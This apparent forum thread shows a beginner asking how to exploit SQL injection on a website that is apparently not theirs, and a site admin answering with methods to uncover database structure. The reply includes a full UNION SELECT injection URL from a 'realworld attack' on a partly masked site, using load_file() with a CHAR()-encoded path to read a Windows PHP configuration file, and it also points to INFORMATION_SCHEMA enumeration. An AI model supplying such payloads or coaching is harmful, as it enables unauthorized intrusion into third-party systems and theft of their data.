Waraxe IT Security Portal

redstar · Beginner

on a website, i found a few php scripts, where it's possible to inject sql commands. THe problem is, i dont know the table name of the table, where the interesting stuff ist stored. Is it possible to get a list of existing tables via SELECT statements (or to execute a shell command)?
Server: MySQL 4.0.23

waraxe · Site admin

Finding out table and column names in mysql through sql injection can be complicated.
And in many cases (most cases?) it is impossible.

Possibilities:

1. If attacker has file privileges (and in real world it's rare situation), then
"load_file()" can be used for scripts source reading. This can give out database structure details,
hardcoded in scripts.
Example from realworld attack:

http://www.******.ee/index.php?act=otsi&search=1&otsing=-99%'+UNION+ALL+SELECT+load_file(CHAR(99,58,92,119,105,110,100,111,119,115,92,112,104,112,46,105,110,105)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,
33,34,35,36,37,38,39,40/*

2. In case of mysql >= 5.0.4 attacker can try to use "INFORMATION_SCHEMA" database.

http://dev.mysql.com/doc/refman/5.0/en/information-schema.html